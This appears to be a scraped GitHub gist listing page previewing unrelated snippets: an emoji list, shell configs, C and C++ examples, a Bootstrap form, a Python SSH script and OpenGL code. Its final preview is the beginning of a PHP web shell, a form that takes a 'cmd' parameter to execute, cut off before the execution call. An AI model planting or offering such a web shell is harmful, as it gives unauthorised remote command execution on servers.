Skip to content

Instantly share code, notes, and snippets.

View debiantano's full-sized avatar
🏠

NULL debiantano

🏠
View GitHub Profile
@rxaviers
rxaviers / gist:7360908
Last active April 18, 2025 10:53
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@vratiu
vratiu / .bash_aliases
Last active April 15, 2025 15:05
Git shell coloring
# Customize BASH PS1 prompt to show current GIT repository and branch.
# by Mike Stewart - http://MediaDoneRight.com
# SETUP CONSTANTS
# Bunch-o-predefined colors. Makes reading code easier than escape sequences.
# I don't remember where I found this. o_O
# Reset
Color_Off="\[\033[0m\]" # Text Reset
@3rn3st0
3rn3st0 / .zshrc
Last active April 23, 2024 04:15
Mi archivo de configuración para ZSH Shell
# Historial de la cónsola
HISTFILE=~/.zsh_history
HISTSIZE=100000
SAVEHIST=100000
# Opciones de Zsh
unsetopt MENU_COMPLETE # NO autoseleccionar la primera autocompletación
unsetopt FLOW_CONTROL # Desactivar inicio/parada de caracteres en el editor del shell
unsetopt NO_BEEP # Se escuchan los beeps de error
@codepainkiller
codepainkiller / burbuja_listaenlazada.cpp
Last active June 20, 2023 23:54
Ordenamiento Burbuja con listas enlazadas - C++
/*
* C++ - Ordenar numeros en una lista enlazada simple
*
* Copyright 2014 Martin Cruz Otiniano
*
* Description: Ordena mediante el criterio de burbuja una lista
*
* Site: martincruz.me
*/
@kalimalrazif
kalimalrazif / abrir_archivo.c
Last active September 1, 2020 00:10
Abrir un archivo en C
#include <stdio.h>
int main(){
/*
* Para usar un archivo tenemos que asociar una variable puntero
* al archivo para poder escribir o leer de el
*/
FILE *manejador_archivo = NULL;
/*
* Ahora que tenemos la variable para asignarla al archivo procedemos a
@cesjam7
cesjam7 / index.html
Created April 20, 2016 02:44
Formulario de libro de reclamaciones con Bootstrap
<html>
<head>
<meta charset="UTF-8">
<title>Formularios</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<h1 class="text-center">Libro de reclamaciones</h1>
<form class="col-sm-6 col-sm-offset-3" action="reclamacion.php" method="POST">
@JonnyWong16
JonnyWong16 / python_ssh.py
Last active February 12, 2024 21:09
Run a SSH command using Python
# 1. Install the paramikio module for python.
# pip install paramiko
# 2. Edit the SSH details below.
import paramiko
import sys
## EDIT SSH DETAILS ##
SSH_ADDRESS = "192.168.0.1"
#include <cmath>
#include <iostream>
#include <GL/glut.h>
using namespace std;
GLint n; //2n is number of petals on the rose
void init(){
glClearColor (1.0, 1.0, 1.0, 1.0); //set the background color to white
glColor3f (0.0, 0.0, 0.0); //set the foreground color to black
glMatrixMode (GL_PROJECTION);
glLoadIdentity();
/* Tipo =FILE= */
/* En C se emplea la estructura de datos de tipo =FILE= (declarada en =stdio.h=): */
#include <stdio.h>
void main ()
{
FILE *pf;
}
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{